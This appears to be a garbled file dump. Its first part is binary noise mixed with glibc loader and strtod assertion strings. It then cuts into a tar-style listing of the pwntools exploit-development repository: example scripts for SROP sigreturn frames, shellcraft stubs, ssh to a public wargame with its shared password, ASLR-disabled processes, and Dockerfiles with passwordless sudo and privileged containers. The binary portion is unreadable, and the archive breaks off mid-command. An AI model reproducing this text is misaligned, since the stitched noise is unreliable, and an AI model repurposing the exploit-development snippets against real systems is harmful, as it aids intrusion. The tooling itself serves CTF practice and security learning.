!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~?strtod_l.cdigcnt > 0*nsize < MPNSIZEdecimal_len > 0initydig_no <= (uintmax_t) INTMAX_MAXint_no <= (uintmax_t) (INTMAX_MAX + MIN_EXP - MANT_DIG) / 4lead_zero == 0 && int_no <= (uintmax_t) INTMAX_MAX / 4lead_zero <= (uintmax_t) (INTMAX_MAX - MAX_EXP - 3) / 4int_no <= (uintmax_t) (INTMAX_MAX + MIN_10_EXP - MANT_DIG)lead_zero == 0 && int_no <= (uintmax_t) INTMAX_MAXlead_zero <= (uintmax_t) (INTMAX_MAX - MAX_10_EXP - 1)dig_no >= int_nolead_zero <= (base == 16 ? (uintmax_t) INTMAX_MAX / 4 : (uintmax_t) INTMAX_MAX)lead_zero <= (base == 16 ? ((uintmax_t) exponent - (uintmax_t) INTMAX_MIN) / 4 : ((uintmax_t) exponent - (uintmax_t) INTMAX_MIN))bits != 0int_no <= (uintmax_t) (exponent < 0 ? (INTMAX_MAX - bits + 1) / 4 : (INTMAX_MAX - exponent - bits + 1) / 4)dig_no > int_no && exponent <= 0 && exponent >= MIN_10_EXP - (DIG + 2)int_no > 0 && exponent == 0int_no == 0 && *startp != L_('0')need_frac_digits > 0numsize == 1 && n < dnumsize == densizecy != 0str_to_mpn____strtof_l_internal?____strtod_l_internal?./strtod_l.cnumsize < RETURN_LIMB_SIZEempty == 1____strtold_l_internal d'B@;T Hvԥ NrZz@~ƀ#ocEx] ඳd# 62 kg SP)E7 J G|l5'5$jNjJiTԛԘ d'#o-mA[n8dj?ڧOߙ .>#t/83ͰN&Ӈ[.|/ٟrJnpkP&qnՕ6$fcT!Q./"O]qS2W$_c^fs*i[Iw\sCiHEF s8ٌc4[+r)Ÿn|![NL} 5D,}lf4΃}C#>U#+Q!e`cY\41+biZ*[ztBĊ"4?޳m챸eK1kku6ـG (1fj{~j3<㠸h6uQBbDYulV1e?5IR[A@JFI#^sSI6 *IGpb Ԓl?[4-C9I0]% he3Iϲ}M?T.G!6u.mU塑PBws4,QnPڼyI4,f.JiW-q#UR8 44I(lTd-fC.toz(֙RZ@ DtdH5֫ĦVeDC3UL6h^U !I-f-F=\)۵zjD_'ʏpE|4݊l*}Vug|@" Ν?op$oxU(bN>Iw͌k  u;}0'6#֔"'q\(+a<+ˡH{04qT)&SJt rN*gzTQTAPk)QWN)rlaFE^j~|4YL|H#ֿu߮xA#kgj%t=.ʳ,#Ha'K/ahTA 0Nv$D-G;{xaOl0ǮAeה~ !0PM}V 7:?*(M2BOaӖzmå8Ș8 EN+e_02 %9o}ɔP;ku4C<[P2abRB< i睭p!z hlvt0t졛wcޤ돌5ȋ@d7B;.&͏bYȟ ^Q8u=]/9 +)>-%z.tMT-< ߔbu79 4!2~.-$ n{'XԸP+#"1+b~D ?%rlj޳xx~*sozص~'{=j1rj˨͞|0vAٲÔ&9=2j~ǿ_-mc0+<%X b| w7Ȟ5,xւ6P[ xnP?4Ѥ 8W,E 9ΦڡەHIq#PMlgw*-8:̠?@jG$[Fs0LJtٖ-o#;|o{sI`ҘKm56k ټ1(%f?v;rPt4=&j?ܿwNTAS@ 43E Z;+cATC{=,Ufp\O.eiߐO^9ݞ%XX2V-Nvqȝv̧4M=+TOI \}!D7?AՄWGDžnɂpp8f,3;;k%ZǽyHtl.hN/cI to=~R!xg-ݝJAY5WT 9VԹ<ء.b;>{!⼣_w5W N(!=] TB@IdoҴhu4Uchp'3{%%I2"Kd b0)E4R&dπ{PSdIcE/I);kCxd_- st;?9 ,sDk%yz-' :r+H~5J8YzZ"Qnj{< ҄7ǘ|Cd XQșrTՁzҵ;C\ݿ[-92 =kC 8$a h3ʕ]wAB&Tq)P ɱ@h)RcZs5W!1-1#Hݛ,.@7xM%jW jz2 A.jUb4ɋ!v}}u*劋 (/80Q@@g=++O{<ēD枪c.ΊrjϺMj BMBJI+Rʗ K Cp BkUe0vN܆ù{7 qsdgH\4#PQ ڶ~6aڽ檄^WhS.J_tݬUSHRzE.wnp/%g6ihl&Bc:?dW ZzXGok!?$+?=>NIJ1ZXA8s8˼h {ɔ%.ϼ p`hL06]-G~k6X:6?Q5=^q qps=~g_*Iq[8@YB9hs "~Wo&$􅌛ZJ 0$ Jݰ*8L4tHqw\tEP_m_qTWz߅*8V:,/RJ;SeHJbԊr(G>#JPI 63BjE(f7F0uD9aA ӋA}Myk6QG 8@Y]$Z c_ PaTrecgR] @2&C 'SDGM6ji.A eYUdTFK t)*a8BGLN_Ʊs. |ƋwTҾۆ*(R`#A˞3v;:2F0D҆%4b3oo;% , 3jEgqhIR9rQLPX$?M>c_/ Z =oގ7]݀n[Ǧ0v2%р+_M\ fv(] GRC $9˶ȱ߄jHv̆,L@);ŀׄ"k`t%N9m.>$k߹UoN+rN4dq7b@A\4~)U4kujSU`P[{86mG]3Jx&su]GaOmc`L.f3 .Fu&=!zWiH4u IcJ=]kGrd6P _uuP"x84zұ\RQD{IЦd#]HH~gXc1~ Md2Y 3=8'pA<<|Zp؛}KcaӶb+I,:FSKeOѦ8t"0rVdGzXRMZ.J&C {%iGl b%F`xڌi b4og4G)"֙p4?wvꪷQsP]?MNN4GL^Oix8nݘ1ݦ?g6E^T~d!RzUh)r!̾BVI{P Pj~|`]h7~xBtuw m_B }L] `#/;[V?'VIĈvPV3ATA#a tvVuo!җN@'6bC5*f&WMi$9UdLh8Kd̥X RXdL^枊nk /( k )nWJL5d1o˚ ;Bik@k!)EU|',<ш7:MypM>q4ܳyOv3+;l]SC*d_m0h}yoSIlVgΘH!wDY F/n1Yʌ?>VF4Y١j 2<>$@[*9 ]?xqJzH?7|h"sC%7Vn؃Ϗ5ǔ(HBƩ~Y2#u ؖ9k?G~R!R*Vb3Ħpϡ;-G䰒N'Oߢ~TuǶ噃!iV習Nru`5F ʫ=d+ݺ\1!.1݇?to4Х8vBLlHD`qny_ഢ>}q?S5__uFe-wp6ώdelH!MutxW +&!D"'lP6`eou'ܣaXPPuLY5@ =N5Wzh5slO wQ/=a1l^Qy|Bow/ëon ckh}NJs R tch =D3U>Kxey8~c()k kGzUݥRr RArćbK)Sr1~E<ߞT'\u腣^qv%[cLjn{^%5Ox Zˠ~뜞ZUlQ_Ty"!?1:QTFd4u[AՈlJW6K Zز":gXF/]dÀfp5 $Oθ'nf{Vզ_k+͖2LL >~{%@2E. 执_wƖlY#w_;W"PK1Zb1K~zdgʄ+=(nfYt= >Vxus?9>bgpEmҍ(jؕBLi`xvmL[I 99Ams~rRJi&{n`ăMT)5 sXHI@ݵ[,%Bir–"(?T#%wn$^A[TI{ǵQse͋ 'ʩt?=uT v;mҫX%b-l%ccq@W JMOk_mR2a~& ZqoiqwB`?v/u? $\v.#@_\ˏGV _ cwW "~U/4r-1߶[fCNVXLmvi_E\ [l wiDnσ9kqP(,aYFW r "vt+3 Hjf`RށJ7 9Z/rI?kXvx=킔[t[)AٷNdV\~z̿L= "cwEa#7K(Zh1rbX?+NsTB}+Si ɖ1w{Q_0UUU2MDR0VhRfK9JW.MƒwnjV5o/oHuw'7}AWiNh=*ŠL|PLt UySa/1ӏH1ǎwkVB+`ݥhHuK0> n[% v 9]7 9Urn'sfvxrl R8e3GŌ@>ǃ72UDÏYt ɶJ ղDJ^@a x [?l<^}TsV>7`jdI3@\ʹ;|~V"-g &h2"B7T//0GҔ@(DE*e p;=0>@0A:08dl-runtime.cELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT_dl_profile_fixup_dl_fixupcannot extend global scope add %s [%lu] to global scope dl-open.cns == l->l_nsinvalid mode for dlopen()no more namespaces available for dlmopen()invalid target namespace in dlmopen()_dl_debug_initialize (0, args.nsid)->r_state == RT_CONSISTENTobject=%s [%lu] scope %u: %s no scope mode & RTLD_NOLOADopening file=%s [%lu]; direct_opencount=%u _dl_debug_initialize (0, args->nsid)->r_state == RT_CONSISTENTcannot create scope listTLS generation counter wrapped! Please report this.imap->l_need_tls_init == 0dl_open_worker_dl_open_dl_find_dso_for_objectdl-close.c! should_be_thereold_map->l_tls_modid == idx closing file=%s; direct_opencount=%u idx == nloaded(*lp)->l_idx >= 0 && (*lp)->l_idx < nloadedjmap->l_idx >= 0 && jmap->l_idx < nloadedimap->l_ns == nsidimap->l_type == lt_loaded && (imap->l_flags_1 & DF_1_NODELETE) == 0 calling fini: %s [%lu] tmap->l_ns == nsiddlcloseimap->l_type == lt_loadednsid == LM_ID_BASEimap->l_prev != NULL file=%s [%lu]; destroying link map TLS generation counter wrapped! Please report as described in . shared object not openremove_slotinfo_dl_close_workerinvalid mode parameterDST not allowed in SUID/SGID programsdl-deps.ccannot load auxiliary `%s' because of empty dynamic string token substitution empty dynamic string token substitutionload auxiliary object=%s requested by file=%s cannot allocate dependency listmap->l_searchlist.r_list == NULLcannot allocate symbol search listFilters not supported with LD_TRACE_PRELINKINGcnt <= nlistmap->l_searchlist.r_list[0] == map_dl_map_object_deps calling init: %s calling preinit: %s unsupported version %s of Verneed recorddl-version.cneeded != NULLchecking for version `%s' in file %s [%lu] required by file %s [%lu] no version information available (required by %s)def_offset != 0unsupported version %s of Verdef recordweak version `%s' not found (required by %s)version `%s' not found (required by %s)version lookup errorcannot allocate version reference tablematch_symbol_dl_check_map_versionsRTLD_NEXT used in code not dynamically loaded` xʐLߜ4hlʐߜ4hlTʐ8ߜhlʐL|\xߜ4plʐL|Xߜ4lTʐL|ߜplld`ߜބ x|`pߜބ PN,pߜބzRx t\A-  41pH1d\1Xt4\A-  84A-  ;0 zPLRx ~ (KA-  DQxA-  dVA-  (MӤ8(YxL^3"D(j!(f(xl<("^48(x(H(L"z8((VX(H@ Z"^)]))(()5)?"ʐ)O\)d}LH9" h)x)@`)VP-"+\t))X8"G\))F)<XW'"X)H$Cf(f*+4* d*6(u'"ʀX*L"sV"F$*Y4*n**4**v(0*"p0**nt$+l *N"s+!T+)<+4t+N '+^L+z"+P++ P+2+L++P`Z"GLTW")d8,Ex,(X,$dl,.8$]"4X,7,F),PG|,XUD,x(,K\," (,,Z ,P,x,-+\t-Y("h$-$(_-5pH-F"L-V¨-n)6"--x-(p`-аx-δ8-d\-@--t<.Rh\.P.0.L".T"$.`\h\]"Y.y`h.".ˌ$.(u.(.p.(P.V|.wDh//(pxUXhPP/,9"5/:/M D /X"(G&"Gl/`l/m</xt//\/Z//tNF"0`,/$/` /":H K"080 (bh0.l R"080D4)"I"@@0V"0b`0w|0IL0TL0h@0\`00&\80",0"~1$1(81.D41?$1M" (1X"1_@41k@1w1XJ" h1l1|1X1-L1(`1(2 82"!(f21U2@(`@2MS` @=" `$2\`2o<2|(y2D2-$,242ބ222x@22| 3 h3#l32%3<>l"3Ol3a([03n3(h33O3(x3x3׀xJ"8836L4H4 x4!U"G<46mJ"D4HO4S4b4qTx44(`84(@D44xP44P,4(@"KL4%p5(p5 G5"5.X5>(d5Mt5m\T5}h0"IL5iPRTvh5@83"6L5 _"ހ$5 ,X5"(5xP|X<9I9d 9{~p99T,9tN_"9L\H` "59(9@:e\":5(:J:Y(`.":c"K":i:D 5"@8:D:(::L@-_lD:(8;;P;!(2-$,;0(;=(_;Rp;\(]z"<;o;y# d;;(\';T4; D;d4;;(X<<*l<7"(=H"(<>^ a =F(=O=c$0=}!(@=\D,"P= ,X= `$I1"@L=( = => YJ"W>hh>$/o"<>0u,>L>[P4>j">v"l(>}R>,>"a >M>>-P(.N">O@>"Y$>l?:[!(`? EK@h?+?E?[P1"x0?w *`?8?LP@?(7?"|?(`0?Ҩ<?Ra",?@L(@KL@T@3(~p8@B @V(@_ @o5t@@@@`@%@l@x Q%"˰$@D4@JLAyAB|A.A>,AJ]LAX(uAaߜpAuLAKpAYA AZ$A(A\D T"\$E6 hAä4AECdB"<V" (B!a0B8$BNB`\\BpFtB8BppBPB$LBBpB"L$O;"x`XB `C4`C"(C#C6CdY(fWv"PC@xPCNpCb(fCmrC(hC(."wDhCCtC`C:H C(oD (]&$8Dw\hD8 ,`DMD[t00Db~Dq4DDXD DsD`D(1Z"D(E"E"EE1 hEBkEJHEb EsH`E~"K@hEMEr#hE8ECdQ/"IRPIhx Ip"`IW1"<I(IdI(fIdItI@@J88J , J8|J$0PJ98JG"4]b"ɈJU$JhG"i 0JuhJPJ hJJ(pJH`JVlJDJJ(_K(K (K tK2xKG"n(>"]P@"@`KPpS"$Kf(yKrxPK~K=H KlO~<KK"[<KK(K?XL]<\L L*LG!@LTʐLh(L{(@]Q"dHE"r#hOX"4L\"[1"~L L(LT_"xPL\L8L"]<\,"K\LH!@L(L݌#M@HhF"BLM|M!@M<HpMDvXMfqMtDMhhMH4MM,M M<8M1a"@4MN xN)"N3ND0`,NMNV"N]"NeNyN 0NNHNbNpNNxPNl ]" (` O'O)O9x`XOBDph0".l OV4Ob('"8$Y"sOz`O/"\OILO(O5pOhOl|OϼLPx,P&ڸhP/x07SPAJTPX"xPgTPu\P4Pe 44J"OPxPP8P"Y$P@RV"vhPH5"iPPtQ" (Q8>"Y$Q#˰$Q- %s' % path) data = read(path).strip().decode() if data[0:3] not in ('"""', "'''"): log.warning(' Has no docstring!') continue try: i = data.index(data[0:3], 3) except ValueError: log.warning(' Docstring is weird') continue doc = util.safeeval.const(data[0:i + 3]) out += '* `%s`\n' % path out += '```%s```\n' % doc for path, dirs, files in os.walk('.', onerror=None): append_example(dirs, path, sorted(files)) write('README.md', out) Gallopsled-pwntools-3ad86ec/examples/indented.py000066400000000000000000000010261507273764500221630ustar00rootroot00000000000000""" When running in term-mode (import `pwn` rather than `pwnlib`, stdout is a TTY and not running in a REPL), we can do proper indentation where lines too long to fit on a screen are split into multiple individually indented lines. Too see the difference try running with:: $ python indented.py and $ python -i indented.py Also notice that `pause()` can react on any key when in `term_mode`. """ from pwn import * context.log_level = 'info' log.indented('A' * 100) log.indented('B' * 100) log.indented('C' * 100) pause() Gallopsled-pwntools-3ad86ec/examples/listen_uroboros.py000066400000000000000000000005271507273764500236260ustar00rootroot00000000000000""" An example showing interconnection of sockets. This script will wait for three connections on port 1337, then connect them like a three-way Uroboros. """ from pwn import * cs = [listen(1337).wait_for_connection() for _ in range(3)] cs[0] << cs[1] << cs[2] << cs[0] cs[0].wait_for_close() cs[1].wait_for_close() cs[2].wait_for_close() Gallopsled-pwntools-3ad86ec/examples/options.py000066400000000000000000000002621507273764500220650ustar00rootroot00000000000000""" Example showing `pwnlib.ui.options()` """ from pwn import * opts = [string.ascii_letters[x] for x in range(12)] print('You choose "%s"' % opts[options('Pick one:', opts)]) Gallopsled-pwntools-3ad86ec/examples/port_forward.py000066400000000000000000000003751507273764500231070ustar00rootroot00000000000000""" A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`. """ from pwn import * while True: listen(1337).wait_for_connection().connect_both(remote('google.com', 80)) # now point your browser (or curl(1)) to http://localhost:1337 Gallopsled-pwntools-3ad86ec/examples/readline_completers.py000066400000000000000000000014011507273764500244060ustar00rootroot00000000000000""" Example showing pwnlib's readline implementation and a few completers. This part of pwnlib will probably see some major changes soon, but we wanted to show off some proof-of-concepts. """ from pwn import * from pwnlib.term.completer import LongestPrefixCompleter from pwnlib.term.completer import PathCompleter c1 = LongestPrefixCompleter([ 'foobar', 'foobaz', 'fooqux', 'exit', 'enough!', ]) c2 = PathCompleter(mask = '*.py') with c1: print('type "exit" to exit') while True: s = str_input(prompt = '> ').strip() if s in ('exit', 'enough!'): break print('You wrote', s) with c2: print('choose a file') s = str_input(prompt = text.bold_green('$ ')).strip() print('You picked', s) Gallopsled-pwntools-3ad86ec/examples/remote.py000066400000000000000000000002461507273764500216670ustar00rootroot00000000000000""" Example showing how to use the remote class. """ from pwn import * sock = remote('127.0.0.1', 9001) print(sock.recvline()) sock.send('foo') sock.interactive() Gallopsled-pwntools-3ad86ec/examples/remote_gdb_debugging.py000066400000000000000000000005151507273764500245150ustar00rootroot00000000000000""" Simple example showing how to use the remote gdb debugging features available in pwntools. """ import getpass from pwn import * s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa") c = gdb.ssh_gdb(s, '/bin/sh', gdbscript = ''' p/x $pc c''') c.sendline('ls -la') c.sendline('exit') print(c.recvall()) Gallopsled-pwntools-3ad86ec/examples/sigreturn_corefile_aarch64.py000066400000000000000000000013571507273764500256020ustar00rootroot00000000000000from pwn import * context.arch='aarch64' frame = SigreturnFrame() registers = ['x%i' % i for i in range(0, 31)] registers += ['pc'] for index, register in enumerate(registers): setattr(frame, register, index) frame.sp = 64 assembly = '\n'.join([ shellcraft.read(constants.STDIN_FILENO, 'sp', 1024), shellcraft.syscall(constants.SYS_rt_sigreturn) ]) binary = ELF.from_assembly(assembly) io = binary.process() io.flat(frame) io.wait() assert io.poll() == -11 corefile = io.corefile for register in registers: value = getattr(corefile, register) index = getattr(frame, register) if index != value: log.error("%s != %i (%i)" % (register, index, value)) else: log.success("%s == %i" % (register, value)) Gallopsled-pwntools-3ad86ec/examples/sigreturn_corefile_amd64.py000066400000000000000000000014331507273764500252600ustar00rootroot00000000000000from pwn import * context.arch='amd64' frame = SigreturnFrame() registers = ['rax', 'rbx', 'rcx', 'rdx', 'rdi', 'rsi', 'rbp', 'rsp', 'rip', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15'] for index, register in enumerate(registers): setattr(frame, register, index) assembly = '\n'.join([ shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024), shellcraft.sigreturn() ]) binary = ELF.from_assembly(assembly) io = binary.process() io.flat(frame) io.wait() assert io.poll() == -11 corefile = io.corefile for index, register in enumerate(registers): value = getattr(corefile, register) if index != value: log.error("%s != %i (%i)" % (register, index, value)) else: log.success("%s == %i" % (register, value)) Gallopsled-pwntools-3ad86ec/examples/sigreturn_corefile_arm.py000066400000000000000000000014071507273764500251250ustar00rootroot00000000000000from pwn import * context.arch='arm' frame = SigreturnFrame() registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr'] for index, register in enumerate(registers): setattr(frame, register, index) frame.sp = 64 assembly = '\n'.join([ shellcraft.read(constants.STDIN_FILENO, 'sp', 1024), shellcraft.sigreturn() ]) binary = ELF.from_assembly(assembly) io = binary.process() io.flat(frame) io.wait() assert io.poll() == -11 corefile = io.corefile for register in registers: value = getattr(corefile, register) index = getattr(frame, register) if index != value: log.error("%s != %i (%i)" % (register, index, value)) else: log.success("%s == %i" % (register, value)) Gallopsled-pwntools-3ad86ec/examples/sigreturn_corefile_i386.py000066400000000000000000000013321507273764500250340ustar00rootroot00000000000000from pwn import * context.kernel='amd64' frame = SigreturnFrame() registers = ['eax', 'ebx', 'ecx', 'edx', 'edi', 'esi', 'ebp', 'esp', 'eip'] for index, register in enumerate(registers): setattr(frame, register, index) assembly = '\n'.join([ shellcraft.read(constants.STDIN_FILENO, 'esp', 1024), shellcraft.sigreturn() ]) binary = ELF.from_assembly(assembly) io = binary.process() io.flat(frame) io.wait() assert io.poll() == -11 corefile = io.corefile for index, register in enumerate(registers): value = getattr(corefile, register) if index != value: log.error("%s != %i (%i)" % (register, index, value)) else: log.success("%s == %i" % (register, value)) Gallopsled-pwntools-3ad86ec/examples/spinners.py000066400000000000000000000005611507273764500222350ustar00rootroot00000000000000""" Just a lot of spinners! """ from pwn import * context.log_level = 0 n = 1 h = log.waitfor('spinners running', status = str(n)) hs = [] print('type "q" to quit') while True: s = str_input('> ').strip() if s == 'q': break hs.append(log.waitfor(s, status = 'running')) n += 1 h.status(str(n)) h.success() for h in hs: h.failure() Gallopsled-pwntools-3ad86ec/examples/splash.py000066400000000000000000000002431507273764500216630ustar00rootroot00000000000000""" "Easteregg" """ from pwn import * splash() h = log.waitfor("You wrote", status = "--") while True: l = str_input('> ').strip() h.status(l.upper()) Gallopsled-pwntools-3ad86ec/examples/ssh.py000066400000000000000000000025441507273764500211740ustar00rootroot00000000000000""" Example showing how to use the ssh class. """ from pwn import * shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password='bandit0', port=2220) # Show basic command syntax log.info("username: %s" % shell.whoami()) log.info("pwd: %s" % shell.pwd()) # Show full tube syntax tube = shell.run('cat') tube.send("Hello, cat") tube.shutdown("out") print(tube.recvall()) # Show automatic working directories shell.set_working_directory() log.info("pwd: %s" % shell.pwd()) shell.upload_data(""" #include int main() { return printf("Hello, world"); } """, 'example.c') shell.gcc(['example.c','-o','example']) print(shell['./example']) # Show the different styles of calling print(shell.echo("single string")) print(shell.echo(["list","of","strings"])) print(shell["echo single statement"]) # ssh.process() is the most flexible way to run a command) io = shell.process(['/bin/bash', '-c', 'echo Hello $FOO'], env={'FOO': 'World'}, # Set environment stderr='/dev/null', # Override file descriptors aslr=False, # Disable ASLR on processes setuid=False, # Disable setuid bit so processes can be debugged shell=False) # Enable or disable shell evaluation print(io.recvall()) # Show off the interactive shell shell.interactive() Gallopsled-pwntools-3ad86ec/examples/text.py000066400000000000000000000005571507273764500213650ustar00rootroot00000000000000''' Example showing how to use `pwnlib.term.text`. Try running with:: $ TERM=xterm python text.py and:: $ TERM=xterm-256color python text.py ''' from pwn import * s = 'hello from pwntools' print(text.black_on_green(s)) print(text.black_on_bright_green(s)) print(text.green_on_black(s)) print(text.bright_green_on_black(s)) print(text.bold_green_on_black(s)) Gallopsled-pwntools-3ad86ec/examples/yesno.py000066400000000000000000000002141507273764500215240ustar00rootroot00000000000000""" Example showing `pwnlib.ui.yesno()` """ from pwn import * if ui.yesno('Do you like Pwntools?'): print(':D') else: print(':(') Gallopsled-pwntools-3ad86ec/extra/000077500000000000000000000000001507273764500173255ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/bash_completion.d/000077500000000000000000000000001507273764500227155ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/bash_completion.d/README.md000066400000000000000000000006051507273764500241750ustar00rootroot00000000000000# Bash Completion To install the completion, add `. /path/to/bash_completion.d/pwn`to your e.g. `~/.bash_profile`. The `./install.sh` script attempts to do this for you automatically. ### Shellcraft Autocomplete The legacy autocompletion for `pwn shellcraft` is also available at `./shellcraft`. It is unsupported, and slow (runs `pwn shellcraft -l` every time your shell starts). Gallopsled-pwntools-3ad86ec/extra/bash_completion.d/install.sh000077500000000000000000000004511507273764500247220ustar00rootroot00000000000000#!/usr/bin/env bash BASH_COMPLETION_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) if grep "$BASH_COMPLETION_DIR" ~/.bash_profile; then >&2 echo "Already installed" exit fi >/dev/null cat >> ~/.bash_profile < ${hello} -> "world" _shtab_pwnlib() { local word="${COMP_WORDS[COMP_CWORD]}" COMPREPLY=() if [ "${COMP_CWORD}" -eq 1 ]; then _shtab_pwnlib_compgen_root_ ${COMP_WORDS[1]} elif [ "${COMP_CWORD}" -eq 2 ]; then _shtab_pwnlib_compgen_command_ ${COMP_WORDS[1]} elif [ "${COMP_CWORD}" -ge 3 ]; then _shtab_pwnlib_compgen_subcommand_ ${COMP_WORDS[1]} ${COMP_WORDS[2]} fi return 0 } complete -o nospace -F _shtab_pwnlib pwn Gallopsled-pwntools-3ad86ec/extra/bash_completion.d/shellcraft000066400000000000000000000023411507273764500247670ustar00rootroot00000000000000#!/usr/bin/env bash # cache list of shellcodes _shellcraft_shellcodes=$(pwn shellcraft -l) _shellcraft() { COMPREPLY=() local cur prev opts word code cur="${COMP_WORDS[COMP_CWORD]}" prev="${COMP_WORDS[COMP_CWORD-1]}" opts="-h --help -? --show -o --out -f --format" if [ "${prev}" == "-f" -o \ "${prev}" == "--format" \ ] ; then opts="raw str c hex asm p hexii" COMPREPLY=( $(compgen -W "${opts}" -- ${cur})) return 0 fi if [ "${prev}" == "-o" -o \ "${prev}" == "--out" \ ] ; then COMPREPLY=( $(compgen -f ${cur})) return 0 fi if [[ "${cur}" == -* ]] ; then COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) ) return 0 fi # check if a shellcode was already chosen for word in "${COMP_WORDS[@]}" ; do for code in ${_shellcraft_shellcodes} ; do if [ "${word}" == "${code}" ] ; then COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) ) return 0 fi done done # complete shellcode name COMPREPLY=( $(compgen -W "${_shellcraft_shellcodes}" -- ${cur}) ) } complete -F _shellcraft pwn shellcraft complete -F _shellcraft shellcraft Gallopsled-pwntools-3ad86ec/extra/docker/000077500000000000000000000000001507273764500205745ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/docker/Makefile000066400000000000000000000014671507273764500222440ustar00rootroot00000000000000subdirs=$(shell find . -mindepth 1 -maxdepth 1 -type d | xargs -n1 basename) tags=base stable beta dev ROOT=$(shell git rev-parse --show-toplevel) CMD ?= zsh ifneq ($(HISTFILE),) MOUNT_HISTFILE=--mount type=bind,source="$(HISTFILE)",target=/home/pwntools/.history endif all: $(tags) $(subdirs) tags: $(tags) $(subdirs):: @echo "Building $@" docker build -t pwntools/pwntools:$(shell basename $(@)) "$@" develop:: docker run -it \ --privileged \ --net=host \ --hostname localhost \ --ulimit core=-1:-1 \ $(MOUNT_HISTFILE) \ --mount type=bind,source="$(ROOT)",target=/home/pwntools/pwntools \ pwntools/pwntools:$(shell basename $(@)) \ $(CMD) debug: @echo "Subdirs $(subdirs)" @echo "Tags $(tags)" clean: docker container prune docker FORCE: .PHONY: all $(subdirs) $(makefiles) $(tags) Gallopsled-pwntools-3ad86ec/extra/docker/README.md000066400000000000000000000031001507273764500220450ustar00rootroot00000000000000# Pwntools Docker Images This directory contains some Docker images with various versions of Pwntools pre-installed. ## Getting Images You can either make them yourself, or pull from Docker Hub. ### Docker Hub To pull an image from Docker hub, just run the command: ```sh $ docker pull pwntools/pwntools:stable ``` Replace `stable` with `beta` or `dev` as desired. ### Building Locally To build the images locally, just invoke the `Makefile` with the desired branch target. ```sh $ make -C extra/docker dev ``` ## Running Images To run the `stable`, `beta`, or `dev` image, we recommend the following command line, in this example it is the `dev` image. ```sh $ docker run -it \ --privileged \ --net=host \ --ulimit core=-1:-1 \ pwntools/pwntools:dev ``` The `--privileged` option is needed to perform any debugging with GDB. The `--ulimit` option is needed for any corefiles to drop when a program crashes. The `--net=host` allows you to easily connect to services hosted inside the container from outside the container. ## Development Dockerfile In addition to `stable`, `beta`, and `dev` Dockerfiles, there is also a `develop` dockerfile which mounts your Pwntools installation inside the VM so you can develop seamlessly while editing on your host. ```sh $ make -C extra/docker develop ``` You will be dropped into a shell, and any changes you make to your local Pwntools checkout will be immediately reflected inside the Docker container. This is useful for e.g. editing on a macOS host, but testing your changes on Ubuntu without needing to copy files around.Gallopsled-pwntools-3ad86ec/extra/docker/base/000077500000000000000000000000001507273764500215065ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/docker/base/Dockerfile000066400000000000000000000032471507273764500235060ustar00rootroot00000000000000############################################################ # Dockerfile to build Pwntools container # Based on Ubuntu ############################################################ FROM ubuntu:jammy MAINTAINER Maintainer Gallopsled et al. ENV LANG en_US.UTF-8 ENV LANGUAGE en_US:en ENV LC_ALL en_US.UTF-8 ARG DEBIAN_FRONTEND=noninteractive RUN apt-get update \ && apt-get install -y \ sudo \ locales \ build-essential \ elfutils \ git \ libssl-dev \ libffi-dev \ python2.7 \ python2.7-dev \ python2-pip-whl \ python3 \ python3-pip \ python3-dev \ python-is-python3 \ qemu-user-static \ binutils-arm-linux-gnueabihf \ binutils-aarch64-linux-gnu \ binutils-mips-linux-gnu \ binutils-mipsel-linux-gnu \ binutils-msp430 \ binutils-powerpc-linux-gnu \ binutils-powerpc64-linux-gnu \ binutils-s390x-linux-gnu \ binutils-sparc64-linux-gnu \ binutils-riscv64-linux-gnu \ tmux \ patchelf \ && locale-gen en_US.UTF-8 \ && update-locale LANG=en_US.UTF-8 \ && PYTHONPATH=`echo /usr/share/python-wheels/pip-*.whl` python2.7 -m pip install --no-cache-dir --upgrade pip setuptools wheel \ && python2.7 -m pip install --no-cache-dir --upgrade pwntools \ && python3 -m pip install --no-cache-dir --upgrade pip \ && python3 -m pip install --no-cache-dir --upgrade pwntools \ && PWNLIB_NOTERM=1 pwn update \ && useradd -m pwntools \ && passwd --delete --unlock pwntools \ && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools USER pwntools Gallopsled-pwntools-3ad86ec/extra/docker/beta/000077500000000000000000000000001507273764500215075ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/docker/beta/Dockerfile000066400000000000000000000004671507273764500235100ustar00rootroot00000000000000FROM pwntools/pwntools:stable USER root RUN python2.7 -m pip install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@beta \ && python3 -m pip install --no-cache-dir --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@beta RUN PWNLIB_NOTERM=1 pwn update USER pwntools Gallopsled-pwntools-3ad86ec/extra/docker/buster/000077500000000000000000000000001507273764500221005ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/docker/buster/Dockerfile000066400000000000000000000003551507273764500240750ustar00rootroot00000000000000from debian:buster RUN apt-get update RUN apt-get -y dist-upgrade RUN apt-get -y install python3 python3-pip RUN apt-get -y install git wget unzip RUN pip3 install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@devGallopsled-pwntools-3ad86ec/extra/docker/dev/000077500000000000000000000000001507273764500213525ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/docker/dev/Dockerfile000066400000000000000000000004271507273764500233470ustar00rootroot00000000000000FROM pwntools/pwntools:stable USER root RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev \ && python3 